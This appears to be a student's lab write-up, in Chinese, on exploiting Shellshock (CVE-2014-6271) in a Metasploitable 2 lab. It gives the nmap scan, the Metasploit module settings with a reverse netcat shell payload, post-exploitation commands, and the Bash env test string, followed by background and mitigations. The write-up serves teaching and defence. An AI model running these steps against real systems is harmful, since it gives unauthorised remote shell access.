这是漏洞评估与渗透测试 – II 课程的实践作业,重点在于对 Shellshock 漏洞(CVE-2014-6271)的利用与分析。
所有操作均在受控实验环境中进行,使用 Metasploitable 2(目标机)和 Kali Linux(攻击机)。
nmap -sS -sV <target-ip>
2️⃣ 启动 Metasploit
msfconsole
3️⃣ 加载利用模块
use exploit/multi/http/apache_mod_cgi_bash_env_exec
4️⃣ 配置利用
set RHOST <target-ip>
set TARGETURI /cgi-bin/status
set LHOST <your-kali-ip>
set PAYLOAD cmd/unix/reverse_netcat
5️⃣ 运行利用
exploit
📸 演示内容
📡 Nmap 扫描结果
⚙️ Metasploit 配置
🔄 反弹 Shell 会话输出
🛠 后渗透命令:
whoami
uname -a
ifconfig
📖 理论背景 什么是 Shellshock?
Shellshock 是 GNU Bash shell 中的一个漏洞,允许攻击者通过向环境变量中注入命令来执行任意代码。 该漏洞于 2014 年 9 月被发现,编号为 CVE-2014-6271,影响 Bash v1.14 到 v4.3 版本。 工作原理
Bash 在处理环境变量中的函数定义时存在缺陷,会在函数体之后额外执行命令。 在使用 CGI 脚本的 Web 服务器上,HTTP 头部会成为环境变量,这就构成了一个简单的攻击路径。
示例:
env x='() { :;}; echo vulnerable' bash -c "echo test"
如果存在漏洞,会输出 vulnerable。 影响
**完全远程代码执行(RCE)**,无需身份验证
可通过简单的 HTTP 请求利用
被用于僵尸网络、蠕虫、定向攻击
影响了数百万台服务器、路由器和物联网设备
真实世界中的利用案例
Yahoo 服务器 – 通过 CGI 脚本传播恶意软件
Wopbot 僵尸网络 – 自动化利用
QNAP NAS – 远程 shell 访问与恶意软件植入
自我复制蠕虫 – 向新的脆弱主机传播
🛡 预防与缓解
🔄 立即更新 Bash
🚫 禁用不必要的 CGI 脚本
🔥 使用防火墙阻止不必要的流量
🛡 部署 Web 应用防火墙(WAF)
📜 监控 HTTP 请求日志
👤 应用最小权限原则
⚠️ 免责声明
本项目仅供教育目的使用。 所有测试均在受控实验环境中进行。 ❌ 禁止在未经授权的系统上使用这些技术。
👨💻 作者:Janith Madhusankha 🎓 课程:网络与安全荣誉学士学位(BICT Hons) 🏫 机构:斯里兰卡东南大学